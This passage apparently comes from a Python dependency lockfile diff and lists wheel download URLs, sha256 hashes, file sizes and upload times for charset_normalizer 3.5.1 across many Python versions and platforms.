"sha256:e9fbdce1e47394b09bc9f26ab117dfc8d6491977a11d86f592bb42c779db2fda", size = 251142, upload-time = "2026-08-15T08:16:24.81Z" }, + { url = "https://files.pythonhosted.org/packages/55/53/7d819bd23a00ef45039146fa2cce1daa2f0771e758c5653ee1f6edac91ed/charset_normalizer-3.5.1-cp310-cp310-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:00668ebb0609751758682eb0b5857e7c35b9f00e84dfdef062e103244ec94d45", size = 240714, upload-time = "2026-08-15T08:16:26.392Z" }, + { url = "https://files.pythonhosted.org/packages/b2/2c/45847198c16f4b38090cc7423b2b6a9008e438704d8ab413211832498d31/charset_normalizer-3.5.1-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ba2f37ee79e6338845261a3c5b1784e5d1acdff2c0785b284f1b633033d136ab", size = 279637, upload-time = "2026-08-15T08:16:27.961Z" }, + { url = "https://files.pythonhosted.org/packages/69/2b/d8be3523ddf9f0b0f3e56d1359034aa10653a4d11564c697f802b4775766/charset_normalizer-3.5.1-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:ce854f5f478050ade5a238731c4ca985a7d3b3cb53ff600a9b5c3b689b5f0a7a", size = 276543, upload-time = "2026-08-15T08:16:29.399Z" }, + { url = "https://files.pythonhosted.org/packages/32/cd/4f564b8f132de25db594efc706897069f016790cea63a5669c9df2675f64/charset_normalizer-3.5.1-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:96eefc178f8636b9c760c5829345307fd81cfae9ab1e80997dbddeb0f54ee9a3", size = 261644, upload-time = "2026-08-15T08:16:30.722Z" }, + { url = "https://files.pythonhosted.org/packages/f5/e3/38b975422534a608f98c360e79c2f07c763d66dd4272300d45fb1fee54b0/charset_normalizer-3.5.1-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:366ec70f5547c640d3ce1985722490f23faf4eb5216a7eeba78277490e78dacb", size = 259609, upload-time = "2026-08-15T08:16:32.248Z" }, + { url = "https://files.pythonhosted.org/packages/87/bd/fbc24d825c66f1c74f6ccdea3742c3d8354a4888e86d1315a197fee69061/charset_normalizer-3.5.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:950f23cb393f85543777b0433f082cddd25b51ab398eac7971146495679efe5f", size = 252457, upload-time = "2026-08-15T08:16:33.849Z" }, + { url = "https://files.pythonhosted.org/packages/b9/2d/918d0e98a0e679469ed05bb2d90c2088b4d315bb612969d8499f76fb5210/charset_normalizer-3.5.1-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:c1dcc36dcb96abc02236e182d17e0f71430152a6c2c7447421da2d2dc144edea", size = 242240, upload-time = "2026-08-15T08:16:35.396Z" }, + { url = "https://files.pythonhosted.org/packages/20/c8/c36f6e0b2dfec351bd38cbc05362697e58bcd073d7dbd95154290c9714ce/charset_normalizer-3.5.1-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:07ffd07412fc5d5e84cd8952acf9ff7e4ed7a708e69d1bada19d8ba91711353f", size = 280308, upload-time = "2026-08-15T08:16:36.825Z" }, + { url = "https://files.pythonhosted.org/packages/ca/7b/311b3e02e8c4092400c449c850a760d8c45d900983c83a70cc07208c551d/charset_normalizer-3.5.1-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:f5542f9b941279d82d41eb0aa9f98eba36fe4df5c7086c651df7944935b37182", size = 258679, upload-time = "2026-08-15T08:16:38.22Z" }, + { url = "https://files.pythonhosted.org/packages/b9/90/082cc45599c392f28c036a497f49e0634041a785fc3849c80ccf396d096f/charset_normalizer-3.5.1-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:a545775cfe815855ea32d7c27731d79da358ef2055b4a25830231b1622dd18aa", size = 277221, upload-time = "2026-08-15T08:16:39.62Z" }, + { url = "https://files.pythonhosted.org/packages/58/ad/b9aecf38d805cbcf84fa94f14c5d972a16561e20296a11dc799a5dcf3763/charset_normalizer-3.5.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:494b70049a4d69aec6e8137c13af4cf8db8c9f9820a1392ac293b0dd2987a818", size = 263799, upload-time = "2026-08-15T08:16:40.885Z" }, + { url = "https://files.pythonhosted.org/packages/b7/23/b38a20598d5a825f85d9d7636860e56ff0db1479f86497a6e485aa9326f7/charset_normalizer-3.5.1-cp310-cp310-win32.whl", hash = "sha256:94fbf1c0c6cc0d3d5e50f9a9313a8cdca90dd696d34b381cd1704f8c9e939f20", size = 182037, upload-time = "2026-08-15T08:16:42.198Z" }, + { url = "https://files.pythonhosted.org/packages/d2/21/83fffb77864408b8bf0fe1ca603926401d6f8775a8e150b39aacc9958f8a/charset_normalizer-3.5.1-cp310-cp310-win_amd64.whl", hash = "sha256:be47f99644b208bff7766314013f9acf57b056b04191d570d68ad14022cf5b1d", size = 206030, upload-time = "2026-08-15T08:16:43.787Z" }, + { url = "https://files.pythonhosted.org/packages/86/2e/b93135b5034b1157fb29554b0d06d4844ce62282f0e0a14036f93d7ee2e7/charset_normalizer-3.5.1-cp310-cp310-win_arm64.whl", hash = "sha256:a6d095662e73e74f0a49988e0593373e243e3a52e27bfeea0a859e88acf4a0f5", size = 185092, upload-time = "2026-08-15T08:16:45.177Z" }, + { url = "https://files.pythonhosted.org/packages/6a/b6/034f6802e9c3f6418966cfabb7db8c9252cc2429c5098f41cc43af804149/charset_normalizer-3.5.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:eda059b6bc8bc0812d626fd91a7ce01bf583df0a61296eff390fd94141a34e30", size = 363585, upload-time = "2026-08-15T08:16:46.646Z" }, + { url = "https://files.pythonhosted.org/packages/d5/fa/6a7e2a7c4b5451912b8c417732df79574354443592a88d616de03da66ae5/charset_normalizer-3.5.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:aa2bb0b37202dca27175591f761108b5d34096ade1191ffe4808bdf6b1571488", size = 251189, upload-time = "2026-08-15T08:16:48.287Z" }, + { url = "https://files.pythonhosted.org/packages/a4/c8/ab42b07cfd82e919f427fcfaa7c41abae8242833ad1aad66d42bae40b669/charset_normalizer-3.5.1-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:0b2b1b3fa5670c127b246df1d0c059defd41f689a868a3b9d79df9b1cac42d22", size = 239724, upload-time = "2026-08-15T08:16:49.67Z" }, + { url = "https://files.pythonhosted.org/packages/e7/80/b9348b5d3041209f98b4cdad7655766369233f1d533f4f4f7558e9717bec/charset_normalizer-3.5.1-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:6e5e4d73d588ca5ed09df1b7dcd1b203d1df3c542e3f50d126c947d432b10731", size = 280078, upload-time = "2026-08-15T08:16:51.228Z" }, + { url = "https://files.pythonhosted.org/packages/82/38/083a24028304bc85bb9e376fed801178423dcbb67495f73b6ea0624e1894/charset_normalizer-3.5.1-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:b54e7e13267d49ffbfe68e25b3cbd774dab38fa37238f71265e91b36146eb21c", size = 276650, upload-time = "2026-08-15T08:16:52.625Z" }, + { url = "https://files.pythonhosted.org/packages/0d/35/731ac04aa0a097fc1c97f0994c375bdb230c6c96619db794208fe664e9ce/charset_normalizer-3.5.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c7b742bf31c88566b4bb6335a7f393bb322e580b6bb98df7bd0c25e6e3519ce8", size = 262325, upload-time = "2026-08-15T08:16:54.085Z" }, + { url = "https://files.pythonhosted.org/packages/f5/28/c2028e7021fb89c6e56868ed0e387b8e9aa811abdd2ab3208d6578d2c930/charset_normalizer-3.5.1-cp311-cp311-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:6ba32c4d2abf1d2fe7cf27d280f4cca5664233b0f885549c7761719eb977f486", size = 261140, upload-time = "2026-08-15T08:16:55.604Z" }, + { url = "https://files.pythonhosted.org/packages/28/f0/0c0ceec6d98b7daa62e361e418135d59685811d79ba11529aad5cdf15e84/charset_normalizer-3.5.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:0722590aabf9dc6a6c0343d523c05458fa2b5047dbe6302fd526bb570600753f", size = 252791, upload-time = "2026-08-15T08:16:57.103Z" }, + { url = "https://files.pythonhosted.org/packages/f0/3e/48f4cd187b1c33189d86039e9cbe4f92c05454175504b44ff81806d4d1bf/charset_normalizer-3.5.1-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:aa1099b956fb795e686d073568f6dc002a0bb89765ea6d5b055dd7d9bf1b116c", size = 240730, upload-time = "2026-08-15T08:16:58.418Z" }, + { url = "https://files.pythonhosted.org/packages/42/85/f9e22af69af67c54cce42be9455d9c81294f918b4ccc454db01f66efcac2/charset_normalizer-3.5.1-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:bd6c173f04743d483881bffa1478d5a4624475b8cd1d2194956a75548e191c18", size = 280791, upload-time = "2026-08-15T08:16:59.918Z" }, + { url = "https://files.pythonhosted.org/packages/fd/4c/9044135f42127630b6fa742feb51256353f6ab87a78f2fdd1de3de955a7f/charset_normalizer-3.5.1-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:f298e218441525d3794428b4c8b8fb8662c6d3ea79925d4807ee6b9a96a3bca5", size = 259598, upload-time = "2026-08-15T08:17:01.421Z" }, + { url = "https://files.pythonhosted.org/packages/ba/ed/1dd7cfebb4e75812934c49ca3b79757d11948053f7937ab7070c151f3c55/charset_normalizer-3.5.1-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:6e2912d4babbc65196ac13c2f53468dc57fb8b9c25ef913e8c59ddf7c6dc0e1b", size = 278217, upload-time = "2026-08-15T08:17:02.782Z" }, + { url = "https://files.pythonhosted.org/packages/bf/eb/239c84503cc9e3ba6eb34686a24bc66e84f3924efdd7e38e751a19f6bc10/charset_normalizer-3.5.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:3d27167433c0d5f18dc850f07d0b3816221984fecdc405d6c157a6f0b8f8e9e6", size = 263417, upload-time = "2026-08-15T08:17:04.216Z" }, + { url = "https://files.pythonhosted.org/packages/37/ab/4e4510e1e288478e2c8333131d1c1382382ba8cd2165053c79e39d1da961/charset_normalizer-3.5.1-cp311-cp311-win32.whl", hash = "sha256:ac00177c4831ffa650f8609e4bdddd5fe09c03b1c0c47acece7e6ea20421598b", size = 181774, upload-time = "2026-08-15T08:17:05.58Z" }, + { url = "https://files.pythonhosted.org/packages/e3/57/32f0ccea59e8612057c61d6fd22ef2cb63cca93c9fe594094919696ac170/charset_normalizer-3.5.1-cp311-cp311-win_amd64.whl", hash = "sha256:f9b1e28d0e8dbfa858abdba91d6b547beaf2df1a59bec6da6faae7b96a4991a9", size = 206653, upload-time = "2026-08-15T08:17:07.075Z" }, + { url = "https://files.pythonhosted.org/packages/17/d4/b65c433fc521e58b5f54293982a5e51c05cb5f2dd3f1c7a6acb65b75324e/charset_normalizer-3.5.1-cp311-cp311-win_arm64.whl", hash = "sha256:ae31a1a1db2ee6cc2942fccaf695c934bc7f3db9f2133a3fef1f367cf1a4ab10", size = 185630, upload-time = "2026-08-15T08:17:08.502Z" }, + { url = "https://files.pythonhosted.org/packages/30/27/78873dc8b6a56357517b74b6bb9568b80450e7bb4f6ef7e3fa9d22aa0bd7/charset_normalizer-3.5.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:5b6d1386bf0096d26d3a863dc0a487a5b4eb9aa93cf5ba69683d29dde6b9d60f", size = 344456, upload-time = "2026-08-15T08:17:10.072Z" }, + { url = "https://files.pythonhosted.org/packages/9a/4c/be49ada26b1f0232d57aa89bbebf997a5cc2332a5616b6eca26ff680044d/charset_normalizer-3.5.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4582c27e8c889d64811987b5967fbd3ae0c823fe1fd933b543d55ac20bb475fa", size = 238530, upload-time = "2026-08-15T08:17:11.563Z" }, + { url = "https://files.pythonhosted.org/packages/76/84/6f1290fa07ae6978d3960caa3eb1b8019bf9284ab7c2297b00c099ef4250/charset_normalizer-3.5.1-cp312-cp312-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:1d1c7a53a6c2103925cdd6d7229f8c567379f211c869793df679f2e9f738c369", size = 230200, upload-time = "2026-08-15T08:17:12.919Z" }, + { url = "https://files.pythonhosted.org/packages/e7/a0/47b18adeed31c8f16ba9700f32c1b18594cfa09f47eb672a488c273c22bf/charset_normalizer-3.5.1-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:e6621fb2a4988d6e53eedc455e5903e2679f3967b8acb3d639f1b63c14a2e893", size = 262222, upload-time = "2026-08-15T08:17:14.571Z" }, + { url = "https://files.pythonhosted.org/packages/38/fe/341861ac118dae06f3ec0eb487488af52128f2ef2faf0b11003944d22259/charset_normalizer-3.5.1-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:7c0c10730342b0c9b35dd1d619beb8214e520bd96a1f870f452680b238aab3e0", size = 258951, upload-time = "2026-08-15T08:17:16.158Z" }, + { url = "https://files.pythonhosted.org/packages/6f/89/bb5108dc6c3651dca963f2b0a3ba19bbcb370c94e1b6d3e0e844a58e6dca/charset_normalizer-3.5.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b9af956078716df40d985fb0dfeb2c2120c5ca92ba4ff4b388acfd01cdc14d08", size = 248801, upload-time = "2026-08-15T08:17:17.683Z" }, + { url = "https://files.pythonhosted.org/packages/b1/ba/ef83ae3aca816393decfa3530976f38a79812d707b80b580ac33b83f9877/charset_normalizer-3.5.1-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:f9f8405c2c758532c74fed975dbee57be1f31a6e865c031870c79a6ed3212ada", size = 244070, upload-time = "2026-08-15T08:17:19.191Z" }, + { url = "https://files.pythonhosted.org/packages/f6/0b/c5292a2462d69b7378ea89793bbb5b2b6fcf6f7dd6d1667f9619094ad553/charset_normalizer-3.5.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:96fef3e886d6a9874b14f27fc193fbdc69d5d8035783d86aa4e1cea594e695f9", size = 240110, upload-time = "2026-08-15T08:17:20.547Z" }, + { url = "https://files.pythonhosted.org/packages/46/22/111e5be3b740d5c2a5bfcedb3d237b6591e5c2e82ae9d6ffcb121fe0909c/charset_normalizer-3.5.1-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:5d8531a6569d025f68e2321e7638fb7978f23db58e5f69f56913837aae03816e", size = 232836, upload-time = "2026-08-15T08:17:21.895Z" }, + { url = "https://files.pythonhosted.org/packages/f9/d2/d2aad6fe0dbb44b194bf3becb60f5a0ac48446ade999a47fe7bb41eb09a7/charset_normalizer-3.5.1-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:aae2ee51122d3ae968a3837d97dc24a0aeebb0dea23694422cd172bd30017cd6", size = 262712, upload-time = "2026-08-15T08:17:23.727Z" }, + { url = "https://files.pythonhosted.org/packages/35/5a/337e4663a5eae6de99db940ee8066d4145caafb61327db62deda15313cce/charset_normalizer-3.5.1-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:7235dc28fc6dd9d832ac7c7bce95367dedb85929f17368a0c2bee1e080b9acbf", size = 242977, upload-time = "2026-08-15T08:17:25.157Z" }, + { url = "https://files.pythonhosted.org/packages/ca/85/f82f8a92e31c7519410e2e1afdc630f28ec47490ce2c09a11c1a43cbb459/charset_normalizer-3.5.1-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:4abdc5f9ad448c1ecbfae2974b820535d6bc6e7eef63babbab3d81cf46968c71", size = 260207, upload-time = "2026-08-15T08:17:26.602Z" }, + { url = "https://files.pythonhosted.org/packages/b7/52/643d11ffd60e9ac2fd1fb87e167a19285b9eefeff4a40e63c87cbfbeab36/charset_normalizer-3.5.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:ba501e667c17d8411f98e67a022d9604ef179aff0e459b7e292c796837c13573", size = 250562, upload-time = "2026-08-15T08:17:27.971Z" }, + { url = "https://files.pythonhosted.org/packages/62/16/46556278c2168d12df9da7fede5dc6fc70e60301b26a82bbeec238c9cfe3/charset_normalizer-3.5.1-cp312-cp312-win32.whl", hash = "sha256:cfa1c0cc3a8f9f53f1243a5a99ac36fd003880199383b37672e86ddda9cb07e2", size = 178507, upload-time = "2026-08-15T08:17:29.277Z" }, + { url = "https://files.pythonhosted.org/packages/9d/7a/4c6c298171e6b3e745633180ff59350fc0ca0db1ffd28df1e369e0579f71/charset_normalizer-3.5.1-cp312-cp312-win_amd64.whl", hash = "sha256:3617ac3cfd8b9888f145ad89dd6e692285834b0201c6074a5eeaad3fd4d668c2", size = 200551, upload-time = "2026-08-15T08:17:30.668Z" }, + { url = "https://files.pythonhosted.org/packages/cd/d7/eb95a042f0dd22e304b0b6472b154f3546a1a039a9ee89ccb2a7f61591fc/charset_normalizer-3.5.1-cp312-cp312-win_arm64.whl", hash = "sha256:88e85ab89cb822c1e635f51d6d32e488f94e002e70e2f492bdb8b945543f345a", size = 180700, upload-time = "2026-08-15T08:17:32.028Z" }, + { url = "https://files.pythonhosted.org/packages/bc/61/2cb6ad133dbbb449fa2d37ccae973232f4827e799af258d15e589a3d1e9e/charset_normalizer-3.5.1-cp313-cp313-android_24_arm64_v8a.whl", hash = "sha256:4f298bdadb8f0b9e5672877f647d1be9373ef5320c9e2f049795e26cad28b6a9", size = 211584, upload-time = "2026-08-15T08:17:33.597Z" }, + { url = "https://files.pythonhosted.org/packages/18/57/a305c968be1ca13f3dd1b32f445877e97addf55d80b65c7cb35fac82b777/charset_normalizer-3.5.1-cp313-cp313-android_24_x86_64.whl", hash = "sha256:88ca277405c2d3b71c4e1c2ee0e7966e807bcba86a69d11e19ba199d18ae4491", size = 223359, upload-time = "2026-08-15T08:17:35.022Z" }, + { url = "https://files.pythonhosted.org/packages/09/0a/d3646670292ce8d8f8cc11ac067d44885e697a5591f57a9221128da5e7b3/charset_normalizer-3.5.1-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:9362dd90aa7dab48c0054a21187791ccf05473f7dba5d92b8033ae62164675e7", size = 194464, upload-time = "2026-08-15T08:17:36.452Z" }, + { url = "https://files.pythonhosted.org/packages/de/93/d51ec556e01042fed6f993ea859311bc7917b466684182fbbceb6ca24762/charset_normalizer-3.5.1-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:977cdbd483a9cff38179bea4fd754289a6f2195c7abd414aba85410b3e66cc5e", size = 197676, upload-time = "2026-08-15T08:17:37.819Z" }, + { url = "https://files.pythonhosted.org/packages/a4/a0/562247944386f7d4ef94467e84876600cc1e0f1b93239aaa9213d2bc3cbd/charset_normalizer-3.5.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:e90251c0c7bdd54a100a0dce3c07b7e637278c93af29dbf78ebb89a58c4bac7d", size = 340473, upload-time = "2026-08-15T08:17:39.303Z" }, + { url = "https://files.pythonhosted.org/packages/31/e7/1d994be1b93d41e9502b8b0460eaa88a1dd8df335df415db87d6c3e91ab2/charset_normalizer-3.5.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:94d78ecec2605a8d0398b0f365d5f12a63248438516f5dac536a5eff7337df4a", size = 240156, upload-time = "2026-08-15T08:17:40.66Z" }, + { url = "https://files.pythonhosted.org/packages/09/53/27923ce5cc6cbccb832037b27dca98882d9c53e9b69e866bbbef4aae7fc8/charset_normalizer-3.5.1-cp313-cp313-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:d59b75732e9b6f27388e10c14b0259cc5f2e48c78627d185e6a177b58ad3cffe", size = 228246, upload-time = "2026-08-15T08:17:42.003Z" }, + { url = "https://files.pythonhosted.org/packages/ce/48/5a97e84d63af1d55c07439cb80e56d99a8efb4295700eb4e18c0d1615d2c/charset_normalizer-3.5.1-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:0d929fc574b4d6fd9e7c0f5c2ede8716a41911923aa7fa5fce38e0818aa4a1ac", size = 263660, upload-time = "2026-08-15T08:17:43.627Z" }, + { url = "https://files.pythonhosted.org/packages/7a/c2/071575791dcc88316c0a9a65ce38897a82e4cfe4a325f0f7fe1b1ac47bcf/charset_normalizer-3.5.1-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:394fea06235c8543390050ed5f529187074b029fb027213f6c46ac11ab5d950e", size = 260354, upload-time = "2026-08-15T08:17:45.094Z" }, + { url = "https://files.pythonhosted.org/packages/fb/af/63240b0c0248c075c2535a1f1bd992821d8251b9f173abc13329661d09e4/charset_normalizer-3.5.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:62b55f6722735a6c472f88361cde6640608773d9443cebdbb51abf436a1fcdd3", size = 250638, upload-time = "2026-08-15T08:17:46.496Z" }, + { url = "https://files.pythonhosted.org/packages/4d/66/70dfad64f15be09c15ccfee81330a7e515895dbe296dd23114e9a231268a/charset_normalizer-3.5.1-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:fa48b1b63d639f9483e0633e092f5851e2348c352f1f9bb6c8182f87884ef876", size = 244583, upload-time = "2026-08-15T08:17:47.963Z" }, + { url = "https://files.pythonhosted.org/packages/c0/24/ef36367d38b9ddd4bccbf72888c342e8de1f5ae506fa0b2dcf970e2732a1/charset_normalizer-3.5.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:c71fb0d56c920c269cd3e2e3fe7c610e3f1fdb21a6ce60efa6430ff63676cea6", size = 242038, upload-time = "2026-08-15T08:17:49.481Z" }, + { url = "https://files.pythonhosted.org/packages/db/ab/55e683ba0fff2e43adafc10daa3001eac90fdaa419a97227d5a7067eedde/charset_normalizer-3.5.1-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:485a0d363cafefcd2538a73c7c838daa2035f09b2c9f9b5e3133f80c6aeb84c2", size = 233677, upload-time = "2026-08-15T08:17:50.845Z" }, + { url = "https://files.pythonhosted.org/packages/bd/67/0f40eaf8d1b6e7cf15e82382a2965efaca787fc1c2794b7021d37aaf5036/charset_normalizer-3.5.1-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:5c0ea61a470e070686aa30892fed79e297d2c8d0ab46b8bcdf027d38c51da591", size = 264491, upload-time = "2026-08-15T08:17:52.61Z" }, + { url = "https://files.pythonhosted.org/packages/5c/64/12b4c2a11ee8df4fcc518c78b0d93e3a92bd3d5253d1617ce74ff0e8c7ef/charset_normalizer-3.5.1-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:90b7481fb62fbe172c558bc6fd1c4c98d82004a54a7551f20e11ac9bf0b8708c", size = 245196, upload-time = "2026-08-15T08:17:54.023Z" }, + { url = "https://files.pythonhosted.org/packages/37/2e/651d910af6d0fba325eee1cda37ec5443462ed25360e666c144166eb6091/charset_normalizer-3.5.1-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:35fe081843b35aad20ffeccec3eeffbe637b15d14f3fb22cc1b59cd8ec17e93c", size = 261660, upload-time = "2026-08-15T08:17:55.491Z" }, + { url = "https://files.pythonhosted.org/packages/90/c6/b09e05e6db7f64338e0dc067c79577b1138da86c1e38369096851d96be88/charset_normalizer-3.5.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:fd0350afdc3aabd5576f60ea109228bd5538139713c7b094c5cd27c73a98bc6f", size = 252618, upload-time = "2026-08-15T08:17:57.025Z" }, + { url = "https://files.pythonhosted.org/packages/76/4e/362d4f9fdcdf5556fb2aa3ce7d4a58ebce03ed1ff03aa1d9aca8d02f13f3/charset_normalizer-3.5.1-cp313-cp313-pyemscripten_2025_0_wasm32.whl", hash = "sha256:9d9a0dc7cbe9bec24c3f767c9122c41fe5a1bc43f47cd099d00d393e09769de4", size = 140362, upload-time = "2026-08-15T08:17:58.425Z" }, + { url = "https://files.pythonhosted.org/packages/b4/d4/703be739b26acce318bd29eb3b25b7209e1b1f527f9eae3d1f1f01fdde2b/charset_normalizer-3.5.1-cp313-cp313-win32.whl", hash = "sha256:d63600d620ad0064c3a748b950ac5ea38a80190e5498532efefa4b7b3f1da1f3", size = 177755, upload-time = "2026-08-15T08:18:00.037Z" }, + { url = "https://files.pythonhosted.org/packages/8a/33/56d97ade41c8db611e727168c52ae46c9224c362ec28d4b65d7e9869e8da/charset_normalizer-3.5.1-cp313-cp313-win_amd64.whl", hash = "sha256:aea996a6aba25260827c9ea511d1addfde2da9eb686ac961838509086188b7e6", size = 199295, upload-time = "2026-08-15T08:18:01.506Z" }, + { url = "https://files.pythonhosted.org/packages/5b/75/5b20dd1e6573a01a08158fe104104fa2c8abf941745596954185726cd46c/charset_normalizer-3.5.1-cp313-cp313-win_arm64.whl", hash = "sha256:fd0a274c0e5f9a21565cd9d3dd749b61f96b7aa1e20a93aa1ba4029518f2e5c0", size = 179856, upload-time = "2026-08-15T08:18:02.929Z" }, + { url = "https://files.pythonhosted.org/packages/29/cd/2b812ce5e888f1ce69a5350281e58aab07ae64a958ecae8912f30865718e/charset_normalizer-3.5.1-cp314-cp314-android_24_arm64_v8a.whl", hash = "sha256:774d157f112367ff4abd29019f38f023c24e00e56edc7829c20e358a5a913ad8", size = 212318, upload-time = "2026-08-15T08:18:04.403Z" }, + { url = "https://files.pythonhosted.org/packages/9e/4a/a6ee107430768a5334e6d63f31f148a04a1a491ef161a1ac9415a73f2fa8/charset_normalizer-3.5.1-cp314-cp314-android_24_x86_64.whl", hash = "sha256:26422d45fd13551cf564c58932f7d72b4f58b93b0fcf18c35ba6be12b46bb102", size = 224897, upload-time = "2026-08-15T08:18:05.997Z" }, + { url = "https://files.pythonhosted.org/packages/c3/d9/35ae3f64f29d0179c35c3baefe575904df2913dde519129c7f75995a2b1d/charset_normalizer-3.5.1-cp314-cp314-ios_13_0_arm64_iphoneos.whl", hash = "sha256:09a7bba9f739468c8e78c36a75c33768e53cb1959fc638f510454c14683f00d5", size = 194848, upload-time = "2026-08-15T08:18:07.397Z" }, + { url = "https://files.pythonhosted.org/packages/74/76/f2fc7380f056cc273a53af37f50d08ad54b2c59f61078f31432edcf1c2bd/charset_normalizer-3.5.1-cp314-cp314-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:4c9548dc78002099910abaebc0a72ac58b7d30931869e0351c09b507dff4ece3", size = 198163, upload-time = "2026-08-15T08:18:08.989Z" }, + { url = "https://files.pythonhosted.org/packages/e9/40/095ce62fa078483cccc1fa2b36e6bc9580b85422a20ee9f925341c50e44f/charset_normalizer-3.5.1-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:c428c6c31eb5f4277d7f8eccaf767fbd548ddd5ce3c8b4f4cbbfab3d96b5904c", size = 341823, upload-time = "2026-08-15T08:18:10.458Z" }, + { url = "https://files.pythonhosted.org/packages/f1/5a/0e58b1c04a1596e0256f407274a92d5fb2ee21324409d1fab1da48a65b5b/charset_normalizer-3.5.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:2f06b7eae9dbe77fe1d644ca244dad508de8d302870a43f3c559b521270938a0", size = 242458, upload-time = "2026-08-15T08:18:11.989Z" }, + { url = "https://files.pythonhosted.org/packages/22/95/b4618ce912e6db0b1aae89ba788e38e8a7eba0f3025cc66e8c0699f977b2/charset_normalizer-3.5.1-cp314-cp314-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:6b7430cf5728e68f6c462254009a6ef4086e1bea43cf2f57aa9c55fb4f50ff96", size = 226717, upload-time = "2026-08-15T08:18:13.401Z" }, + { url = "https://files.pythonhosted.org/packages/8a/76/c681192bbda3d55356db5dadd64381d5202b37c6b598fcda5282e88b5d3d/charset_normalizer-3.5.1-cp314-cp314-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ab743e9bc90c1f73552ec33e10e3331315acd2c397b36065b591b0181de533cc", size = 266111, upload-time = "2026-08-15T08:18:14.961Z" }, + { url = "https://files.pythonhosted.org/packages/88/be/55127bfca72c0cff6c022488d140d7c5b04c771e3b72e9bdb4836d54979d/charset_normalizer-3.5.1-cp314-cp314-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:f6f7deae3feb4edfa2efaf7c574fe88cbf055038a6abdb40188e4fff66d5699f", size = 263128, upload-time = "2026-08-15T08:18:16.515Z" }, + { url = "https://files.pythonhosted.org/packages/e0/91/39c3af510b0aa32bbda03374259200f28430febfd1bf5e511fe765282ce5/charset_normalizer-3.5.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash 